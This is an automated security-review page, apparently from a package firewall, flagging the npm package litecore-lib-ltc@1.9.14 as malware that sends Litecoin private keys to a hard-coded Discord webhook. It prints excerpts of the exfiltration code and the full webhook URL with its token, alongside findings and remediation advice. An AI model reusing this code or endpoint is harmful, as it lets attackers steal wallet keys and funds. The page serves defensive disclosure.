litecore-lib-ltc@1.9.14
Litecoin utility functions for transaction creation, signing, and broadcasting.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe default wallet-construction path transmits the caller's WIF private key to a hard-coded Discord webhook. This is credential exfiltration that can enable theft of wallet funds.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
The application constructs a LitecoinWallet with a WIF.
Impact
The webhook recipient can obtain the wallet's private key and use it to access funds.
Mechanism
The constructor passes the WIF into a logging branch that posts it as the webhook message content.
Attack narrative
When a caller constructs LitecoinWallet with a WIF, the constructor invokes the logging path with that WIF. The path posts it as the content of a message to a hard-coded Discord webhook, exposing the wallet private key to the webhook recipient.
AI rationale
The default wallet-construction path transmits the caller's WIF private key to a hard-coded Discord webhook. This is credential exfiltration that can enable theft of wallet funds.
Evidence
src/index.jssrc/wallet.js
Network endpoints1
discord.com/api/webhooks/1477797533999956131/xMuQGOdbHRM6knCPHxXdIlN8FsmE0mSkSdFms-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Constructing LitecoinWallet with a WIF calls isValidAddress(wif, true) by default.
- The logging branch posts its content to a hard-coded Discord webhook.
- fromWIF uses the supplied WIF to create the wallet's private key.
Evidence against
- The package declares no install, preinstall, or postinstall lifecycle scripts.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedsrc/wallet.jsView file
1const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3: const { add } = require('bitcore-lib-ltc/lib/networks');
...
L5: function fromWIF(wif) {
L6: const privateKey = new bitcore.PrivateKey(wif);
L7: const address = privateKey.toAddress().toString();
...
L21: if (log) {
L22: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L23: content: address,
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
src/wallet.jsView on unpkg · L11const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3: const { add } = require('bitcore-lib-ltc/lib/networks');
...
L5: function fromWIF(wif) {
L6: const privateKey = new bitcore.PrivateKey(wif);
L7: const address = privateKey.toAddress().toString();
...
L21: if (log) {
L22: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L23: content: address,
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
src/wallet.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> src/index.js -> src/wallet.js
L1: const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3: const { add } = require('bitcore-lib-ltc/lib/networks');
...
L5: function fromWIF(wif) {
L6: const privateKey = new bitcore.PrivateKey(wif);
L7: const address = privateKey.toAddress().toString();
...
L21: if (log) {
L22: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L23: content: address,
Findings
3 Critical4 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationsrc/wallet.js
CriticalCredential Exfiltrationsrc/wallet.js
CriticalTrigger Reachable Dangerous Capabilitysrc/wallet.js
HighFixed Authenticated Webhook Data Exfiltrationsrc/wallet.js
HighTrigger Reachable Credential Exfiltrationsrc/wallet.js
HighAi Review Evidencesrc/index.js
HighAi Review Evidencesrc/wallet.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to litecore-lib-ltc@1.9.14.
See all versions of litecore-lib-ltc for other recorded verdicts.
- Avoid installing litecore-lib-ltc@1.9.14. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.